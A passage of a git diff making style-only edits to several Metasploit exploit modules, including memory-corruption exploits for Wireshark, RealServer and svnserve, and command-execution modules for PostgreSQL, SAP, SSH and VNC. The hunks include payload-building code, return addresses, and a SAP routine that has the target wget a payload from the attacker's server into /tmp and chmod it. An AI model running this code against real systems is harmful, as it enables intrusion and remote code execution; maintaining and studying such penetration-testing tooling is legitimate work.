'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ] ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'process' }, 'Privileged' => true, # at least capture privilege 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", - 'DisableNops' => true, + 'DisableNops' => true }, 'DefaultTarget' => 4, 'Targets' => [ @@ -99,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_X64, 'Platform' => 'linux', 'Ret' => 0xfeedfed5deadbeef, - 'RetOff' => 152, + 'RetOff' => 152 } ], @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_X86, 'Platform' => 'osx', 'Ret' => 0xdeadbeef, - 'RetOff' => 268, + 'RetOff' => 268 } ], @@ -125,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote # 0x02A110B6 = pop/pop/ret in libgtk-w # 0x03D710CC = pop/mov/pop/ret in packet # 0x61B4121B = pop/pop/ret in pcre3 - 'RetOff' => 2128, + 'RetOff' => 2128 } ], ], @@ -142,13 +142,13 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(921), - Opt::RHOST("239.255.255.250"), + Opt::RHOST('239.255.255.250'), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]), OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5]) ]) register_advanced_options([ - OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]) + OptBool.new('ExitOnSession', [ false, 'Return from the exploit after a session has been created', true ]) ]) deregister_options('FILTER', 'PCAPFILE') @@ -170,7 +170,7 @@ class MetasploitModule < Msf::Exploit::Remote str << rand_text(4) # ret is next elsif (target == targets[1]) - fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string + fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-3500').encode_string str = make_nops(ret_offset - fix_esp.length - payload.encoded.length) str << fix_esp str << payload.encoded @@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote str << [target.ret].pack('V') # jump back distance = ret_offset + 4 - str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string elsif (target == targets[4]) # ugh, /GS and UDP length issues :-/ str = make_nops(ret_offset - payload.encoded.length) @@ -186,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Remote str << generate_seh_record(target.ret) # jump back distance = ret_offset + 8 - str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string + str << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'jmp $-' + distance.to_s).encode_string else # this is just a simple DoS payload str = Rex::Text.pattern_create(ret_offset) diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 79a270f199..2207722ff2 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Privileged' => false, 'Payload' => { - 'Space' => 1024, + 'Space' => 1024 }, 'Targets' => [ @@ -206,14 +206,14 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('URI', [false, "The path to vulnerable PHP script"]), - OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"]) + OptString.new('URI', [false, 'The path to vulnerable PHP script']), + OptString.new('COOKIENAME', [false, 'The name of the cookie passed to unserialize()']) ] ) end def check - vprint_status("Checking for a vulnerable PHP version...") + vprint_status('Checking for a vulnerable PHP version...') # # Pick the URI and Cookie name @@ -221,12 +221,12 @@ class MetasploitModule < Msf::Exploit::Remote cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path = normalize_uri(datastore['URI']) || target['DefaultURI'] - if (not cookie_name) - fail_with(Failure::Unknown, "The COOKIENAME option must be set") + if (!cookie_name) + fail_with(Failure::Unknown, 'The COOKIENAME option must be set') end - if (not uri_path) - fail_with(Failure::Unknown, "The URI option must be set") + if (!uri_path) + fail_with(Failure::Unknown, 'The URI option must be set') end res = send_request_cgi({ @@ -236,12 +236,12 @@ class MetasploitModule < Msf::Exploit::Remote php_bug = false - if (not res) - vprint_status("No response from the server") + if (!res) + vprint_status('No response from the server') return Exploit::CheckCode::Unknown # User should try again end - http_fingerprint({ :response => res }) # check method + http_fingerprint({ response: res }) # check method if (res.code != 200) vprint_status("The server returned #{res.code} #{res.message}") @@ -249,11 +249,11 @@ class MetasploitModule < Msf::Exploit::Remote end if ( - (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or - (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/) + (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ %r{PHP/(.*)}) or + (res.headers['Server'] and res.headers['Server'] =~ %r{PHP/(.*)}) ) - php_raw = $1 + php_raw = ::Regexp.last_match(1) php_ver = php_raw.split('.') if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5) @@ -267,7 +267,7 @@ class MetasploitModule < Msf::Exploit::Remote # Detect the phpBB cookie name if res.get_cookies =~ /(.*)_(sid|data)=/ - vprint_status("The server may require a cookie name of '#{$1}_data'") + vprint_status("The server may require a cookie name of '#{::Regexp.last_match(1)}_data'") end if (target and target['Signature']) @@ -322,19 +322,19 @@ class MetasploitModule < Msf::Exploit::Remote cookie_name = datastore['COOKIENAME'] || target['DefaultCookie'] uri_path = normalize_uri(datastore['URI']) || target['DefaultURI'] - if (not cookie_name) - fail_with(Failure::Unknown, "The COOKIENAME option must be set") + if (!cookie_name) + fail_with(Failure::Unknown, 'The COOKIENAME option must be set') end - if (not uri_path) - fail_with(Failure::Unknown, "The URI option must be set") + if (!uri_path) + fail_with(Failure::Unknown, 'The URI option must be set') end # Generate and reuse the original buffer to save CPU - if (not @saved_cookies) + if (!@saved_cookies) # Building the malicious request - print_status("Creating the request...") + print_status('Creating the request...') # Create the first cookie header to get this started cookie_fun = "Cookie: #{cookie_name}=" @@ -362,11 +362,11 @@ class MetasploitModule < Msf::Exploit::Remote # Keep adding cookie headers... while (refcnt < refmax) - chead = 'Cookie: '; + chead = 'Cookie: ' chead << encode_semis('";N;') # Stay within the 8192 byte limit - 0.upto(679) do |i| + 0.upto(679) do |_i| break if refcnt >= refmax refcnt += 1 @@ -378,7 +378,7 @@ class MetasploitModule < Msf::Exploit::Remote end # The final header, including the hashtable with return address - cookie_fun << "Cookie: " + cookie_fun << 'Cookie: ' cookie_fun << Rex::Text.uri_encode('";N;') cookie_fun << zvalref * 500 @@ -386,7 +386,7 @@ class MetasploitModule < Msf::Exploit::Remote end # Generate and reuse the payload to save CPU time - if (not @saved_payload) + if (!@saved_payload) @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256) end @@ -394,7 +394,7 @@ class MetasploitModule < Msf::Exploit::Remote 's:39:"' + egghunter + '";s:39:"' + hashtable + '";i:0;R:3;' ) + "\r\n" - print_status("Trying address 0x%.8x..." % target_addrs['Ret']) + print_status('Trying address 0x%.8x...' % target_addrs['Ret']) res = send_request_cgi({ 'uri' => uri_path, 'method' => 'POST', @@ -408,31 +408,31 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Received a response: #{res.code} #{res.message}") if (res.code != 200) - print_error("The server returned a non-200 response, indicating that the exploit failed") + print_error('The server returned a non-200 response, indicating that the exploit failed') failed = true end - if (not failed and (res.body and res.body.length > 0)) - print_error("The server returned a real response, indicating that the exploit failed") + if (!failed and (res.body and res.body.length > 0)) + print_error('The server returned a real response, indicating that the exploit failed') failed = true end if (failed) - print_status("Please verify the URI and COOKIENAME parameters.") + print_status('Please verify the URI and COOKIENAME parameters.') print_line('') - print_line("*" * 40) + print_line('*' * 40) print_line(res.body) - print_line("*" * 40) + print_line('*' * 40) print_line('') - fail_with(Failure::Unknown, "Exploit settings are probably wrong") + fail_with(Failure::Unknown, 'Exploit settings are probably wrong') end else - print_status("No response from the server") + print_status('No response from the server') end end def encode_semis(str) - str.gsub(';') { |s| sprintf("%%%.2x", s[0]) } + str.gsub(';') { |s| sprintf('%%%.2x', s[0]) } end end diff --git a/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb b/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb index e5ca83d325..d00e478a4a 100644 --- a/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb +++ b/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] # Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)' ], 'PayloadType' => 'cmd', - 'Platform' => %w(linux unix win osx), + 'Platform' => %w[linux unix win osx], 'Payload' => {}, 'Targets' => [ [ @@ -63,12 +63,14 @@ class MetasploitModule < Msf::Exploit::Remote } ], [ 'Windows (CMD)', - 'Platform' => 'win', - 'Arch' => [ARCH_CMD], - 'Payload' => { - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'adduser, generic' + { + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'adduser, generic' + } } } ], @@ -105,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote return false unless version[:auth] vprint_status version[:auth].to_s - version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first + version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d.]+)/i).flatten.first Rex::Version.new(version_full) >= Rex::Version.new('9.3') end @@ -224,21 +226,19 @@ class MetasploitModule < Msf::Exploit::Remote end def do_login(user, pass, database) - begin - password = pass || postgres_password - result = postgres_fingerprint( - db: database, - username: user, - password: password - ) + password = pass || postgres_password + result = postgres_fingerprint( + db: database, + username: user, + password: password + ) - return result[:auth] if result[:auth] + return result[:auth] if result[:auth] - print_error "#{peer} - Login failed" - return :noauth - rescue Rex::ConnectionError - return :noconn - end + print_error "#{peer} - Login failed" + return :noauth + rescue Rex::ConnectionError + return :noconn end def exploit @@ -246,11 +246,11 @@ class MetasploitModule < Msf::Exploit::Remote return unless vuln_version? return unless login_success? - print_status("Exploiting...") + print_status('Exploiting...') if execute_payload - print_status("Exploit Succeeded") + print_status('Exploit Succeeded') else - print_error("Exploit Failed") + print_error('Exploit Failed') end postgres_logout if @postgres_conn && session.blank? end diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 533beb109f..b3f809be4e 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Universal', { - 'Platform' => %w{bsd linux win} + 'Platform' => %w[bsd linux win] }, ], ], @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 5 ) - info = http_fingerprint({ :response => res }) # check method / Custom server check + http_fingerprint({ response: res }) # check method / Custom server check if res and res['Server'] vprint_status("Found RTSP: #{res['Server']}") return Exploit::CheckCode::Detected @@ -68,15 +68,15 @@ class MetasploitModule < Msf::Exploit::Remote def exploit print_status("RealServer universal exploit launched against #{rhost}") - print_status("Kill the master rmserver pid to prevent shell disconnect") + print_status('Kill the master rmserver pid to prevent shell disconnect') - encoded = Rex::Text.to_hex(payload.encoded, "%") + encoded = Rex::Text.to_hex(payload.encoded, '%') - res = send_request_raw({ + send_request_raw({ 'method' => 'DESCRIBE', 'proto' => 'RTSP', 'version' => '1.0', - 'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi" + 'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + encoded + '.smi' }, 5) handler diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index ea663b6a20..08781cbbc8 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] } + HttpFingerprint = { pattern: [ %r{gSOAP/2.7} ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'DefaultOptions' => {}, 'Payload' => { - 'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4", + 'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4" }, 'Targets' => [ [ @@ -91,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote def check begin - res = send_soap_request("") + res = send_soap_request('') rescue ::Rex::ConnectionError return Exploit::CheckCode::Safe end @@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Connecting to SAP Management Console SOAP Interface...") linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 7500 - execute_cmdstager({ :delay => 0.35, :linemax => linemax }) + execute_cmdstager({ delay: 0.35, linemax: linemax }) elsif target.name =~ /Linux/ exploit_linux end @@ -161,9 +161,9 @@ class MetasploitModule < Msf::Exploit::Remote }) if res and res.code == 200 and res.body =~ /OSTYPE=linux/ - return "linux" + return 'linux' elsif res and res.code == 200 and res.body =~ /OS=Windows/ - return "win" + return 'win' else return nil end @@ -206,7 +206,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit_linux - downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15)) @pl = generate_payload_exe @elf_sent = false @@ -221,7 +221,7 @@ class MetasploitModule < Msf::Exploit::Remote # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] @@ -231,9 +231,9 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { - 'Proc' => Proc.new { |cli, req| + 'Proc' => proc do |cli, req| on_request_uri(cli, req) - }, + end, 'Path' => resource_uri }, 'ssl' => false # do not use SSL @@ -250,7 +250,7 @@ class MetasploitModule < Msf::Exploit::Remote # not working if we send all command together -> lets take three requests cmd = "wget #{service_url} -O /tmp/#{filename}" - cmd.gsub!(/ /, "${IFS}") + cmd.gsub!(/ /, '${IFS}') begin res = send_soap_request("/bin/sh -c #{cmd}") rescue ::Rex::ConnectionError @@ -271,7 +271,7 @@ class MetasploitModule < Msf::Exploit::Remote # chmod # cmd = "chmod 777 /tmp/#{filename}" - cmd.gsub!(/ /, "${IFS}") + cmd.gsub!(/ /, '${IFS}') print_status("#{rhost}:#{rport} - Asking the SAP Management Console to chmod /tmp/#{filename}") begin res = send_soap_request("/bin/sh -c #{cmd}") @@ -294,9 +294,9 @@ class MetasploitModule < Msf::Exploit::Remote end # Handle incoming requests from the server - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + if (!@pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end @@ -310,7 +310,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 - while (not @elf_sent) + until (@elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) @@ -320,8 +320,8 @@ class MetasploitModule < Msf::Exploit::Remote end # This is method required for the Windows CmdStager to work - def execute_command(cmd, opts) - cmd_s = cmd.split("&") # Correct issue with multiple commands on a single line + def execute_command(cmd, _opts) + cmd_s = cmd.split('&') # Correct issue with multiple commands on a single line if cmd_s.length > 1 vprint_status("#{rhost}:#{rport} - Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)") end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index e68455d488..e5900f7216 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -99,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' }, 'vars_get' => { 'sap-client' => datastore['CLIENT'], @@ -110,22 +110,22 @@ class MetasploitModule < Msf::Exploit::Remote end def build_soap_request(command, sap_command, sap_os) - data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>" - data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" - data << "<env:Body>" - data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + data = '<?xml version="1.0" encoding="utf-8" ?>' + data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + data << '<env:Body>' + data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>" data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>" data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>" - data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>" - data << "</n1:SXPG_CALL_SYSTEM>" - data << "</env:Body>" - data << "</env:Envelope>" + data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' + data << '</n1:SXPG_CALL_SYSTEM>' + data << '</env:Body>' + data << '</env:Envelope>' return data end def check - data = rand_text_alphanumeric(4 + rand(4)) + data = rand_text_alphanumeric(rand(4..7)) res = send_soap_request(data) if res and res.code == 500 and res.body =~ /faultstring/ return Exploit::CheckCode::Detected @@ -139,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Remote linemax = datastore['PAYLOAD_SPLIT'] vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250 print_status("#{rhost}:#{rport} - Sending SOAP SXPG_CALL_SYSTEM request") - execute_cmdstager({ :delay => 0.35, :linemax => linemax }) + execute_cmdstager({ delay: 0.35, linemax: linemax }) elsif target.name =~ /Linux/ file = rand_text_alphanumeric(5) stage_one = create_unix_payload(1, file) @@ -157,28 +157,28 @@ class MetasploitModule < Msf::Exploit::Remote end def create_unix_payload(stage, file) - command = "" + command = '' if target.name =~ /Linux/ if stage == 1 - my_payload = payload.encoded.gsub(" ", "\t") - my_payload.gsub!("&", "&") - my_payload.gsub!("<", "<") - command = "-o /tmp/" + file + " -n pwnie" + "\n!" + my_payload = payload.encoded.gsub(' ', "\t") + my_payload.gsub!('&', '&') + my_payload.gsub!('<', '<') + command = '-o /tmp/' + file + ' -n pwnie' + "\n!" command << my_payload command << "\n" elsif stage == 2 - command = "-ic /tmp/" + file + command = '-ic /tmp/' + file end end - return build_soap_request(command.to_s, "DBMCLI", "ANYOS") + return build_soap_request(command.to_s, 'DBMCLI', 'ANYOS') end - def execute_command(cmd, opts) - command = cmd.gsub(/&/, "&") - command.gsub!(/%TEMP%\\/, "") - data = build_soap_request("&#{command}", "LIST_DB2DUMP", "ANYOS") + def execute_command(cmd, _opts) + command = cmd.gsub(/&/, '&') + command.gsub!(/%TEMP%\\/, '') + data = build_soap_request("&#{command}", 'LIST_DB2DUMP', 'ANYOS') begin res = send_soap_request(data) if res and res.code == 200 diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 3b8c48ec72..ea14807883 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { - 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' }, 'vars_get' => { 'sap-client' => datastore['CLIENT'], @@ -121,13 +121,13 @@ class MetasploitModule < Msf::Exploit::Remote data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>\r\n" data << "</n1:SXPG_COMMAND_EXECUTE>\r\n" data << "</env:Body>\r\n" - data << "</env:Envelope>" + data << '</env:Envelope>' return data end def check - data = rand_text_alphanumeric(4 + rand(4)) + data = rand_text_alphanumeric(rand(4..7)) res = send_soap_request(data) if res and res.code == 500 and res.body =~ /faultstring/ return Exploit::CheckCode::Detected @@ -141,7 +141,7 @@ class MetasploitModule < Msf::Exploit::Remote linemax = datastore['PAYLOAD_SPLIT'] vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250 print_status("#{rhost}:#{rport} - Sending SOAP SXPG_COMMAND_EXECUTE request") - execute_cmdstager({ :delay => 0.35, :linemax => linemax }) + execute_cmdstager({ delay: 0.35, linemax: linemax }) elsif target.name =~ /Linux/ file = rand_text_alphanumeric(5) stage_one = create_unix_payload(1, file) @@ -159,28 +159,28 @@ class MetasploitModule < Msf::Exploit::Remote end def create_unix_payload(stage, file) - command = "" + command = '' if target.name =~ /Linux/ if stage == 1 - my_payload = payload.encoded.gsub(" ", "\t") - my_payload.gsub!("&", "&") - my_payload.gsub!("<", "<") - command = "-o /tmp/" + file + " -n pwnie" + "\n!" + my_payload = payload.encoded.gsub(' ', "\t") + my_payload.gsub!('&', '&') + my_payload.gsub!('<', '<') + command = '-o /tmp/' + file + ' -n pwnie' + "\n!" command << my_payload command << "\n" elsif stage == 2 - command = "-ic /tmp/" + file + command = '-ic /tmp/' + file end end - return build_soap_request(command.to_s, "DBMCLI", "ANYOS") + return build_soap_request(command.to_s, 'DBMCLI', 'ANYOS') end - def execute_command(cmd, opts) - command = cmd.gsub(/&/, "&") - command.gsub!(/%TEMP%\\/, "") - data = build_soap_request("&#{command}", "LIST_DB2DUMP", "Windows NT") + def execute_command(cmd, _opts) + command = cmd.gsub(/&/, '&') + command.gsub!(/%TEMP%\\/, '') + data = build_soap_request("&#{command}", 'LIST_DB2DUMP', 'Windows NT') begin res = send_soap_request(data) if res and res.code == 200 diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 39721a9618..27bf17258a 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -14,11 +14,11 @@ class MetasploitModule < Msf::Exploit::Remote def initialize super( 'Name' => 'SSH User Code Execution', - 'Description' => %q( + 'Description' => %q{ This module connects to the target system and executes the necessary commands to run the specified payload via SSH. If a native payload is specified, an appropriate stager will be used. - ), + }, 'Author' => ['Spencer McIntyre', 'Brandon Knight'], 'References' => [ [ 'CVE', '1999-0502'], # Weak password @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Payload' => { 'Space' => 800000, - 'BadChars' => "", + 'BadChars' => '', 'DisableNops' => true }, 'CmdStagerFlavor' => %w[bourne echo printf wget], @@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Payload' => { 'Compat' => { - 'PayloadType' => 'ssh_interact', + 'PayloadType' => 'ssh_interact' } } } @@ -155,14 +155,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], - 'Reliability' => [ REPEATABLE_SESSION, ], + 'Reliability' => [ REPEATABLE_SESSION, ] }, ) register_options( [ - OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]), - OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]), + OptString.new('USERNAME', [ true, 'The user to authenticate as.', 'root' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with.', '' ]), Opt::RHOST(), Opt::RPORT(22) ] @@ -175,7 +175,7 @@ class MetasploitModule < Msf::Exploit::Remote ) end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) vprint_status("Executing #{cmd}") begin Timeout.timeout(3.5) { ssh_socket.exec!(cmd) } diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index 8b4f0eba6f..82deb45466 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20", - 'MinNops' => 16, + 'MinNops' => 16 }, 'SaveRegisters' => [ 'esp' ], 'Arch' => 'x86', @@ -76,15 +76,15 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3690), - OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ]) + OptString.new('URL', [ true, 'SVN URL (ie svn://host/repos)', 'svn://host/svn/repos' ]) ] ) register_advanced_options( [ # 62 on spoonm's, 88 on HD's - OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]), - OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ]) + OptInt.new('RetLength', [ false, 'Length of rets after payload', 100 ]), + OptBool.new('IgnoreErrors', [ false, 'Ignore errors', false ]) ] ) end @@ -92,29 +92,29 @@ class MetasploitModule < Msf::Exploit::Remote def brute_exploit(addresses) connect - print_status("Trying #{"%.8x" % addresses['Ret']}...") + print_status("Trying #{'%.8x' % addresses['Ret']}...") buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded [ - "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ", - "( ANONYMOUS ( 0; ) )", - "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) " - ].each_with_index { |buf, index| + '( 2 ( edit-pipeline ) ' + lengther(datastore['URL']) + ' ) ', + '( ANONYMOUS ( 0; ) )', + '( get-dated-rev ( ' + lengther(buffer + ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)') + ' ) ) ' + ].each_with_index do |buf, index| trash = sock.get_once print_line("Received: #{trash}") if debugging? if (sock.put(buf) || 0) == 0 and index < 3 - print_error("Error transmitting buffer.") - fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors'] + print_error('Error transmitting buffer.') + fail_with(Failure::Unknown, 'Failed to transmit data') if !datastore['IgnoreErrors'] end if index == 3 and trash.length > 0 print_error("Received data when we shouldn't have") fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors'] end - } + end handler disconnect diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index 9a26bf8593..e49fa40e3b 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -111,86 +111,84 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - begin - alt_key = "\xff\xe9" - f2_key = "\xff\xbf" - password = datastore['PASSWORD'] + alt_key = "\xff\xe9" + f2_key = "\xff\xbf" + password = datastore['PASSWORD'] - connect - vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + connect + vnc = Rex::Proto::RFB::Client.new(sock, allow_none: false) - unless vnc.handshake - fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") - end - - if password.nil? - print_status("#{rhost}:#{rport} - Bypass authentication") - # The following byte is sent in case the VNC server end doesn't require authentication (empty password) - sock.put("\x10") - else - print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") - if vnc.authenticate(password) - print_status("#{rhost}:#{rport} - Authenticated") - else - fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") - end - end - - # Send shared desktop - unless vnc.send_client_init - fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") - end - - 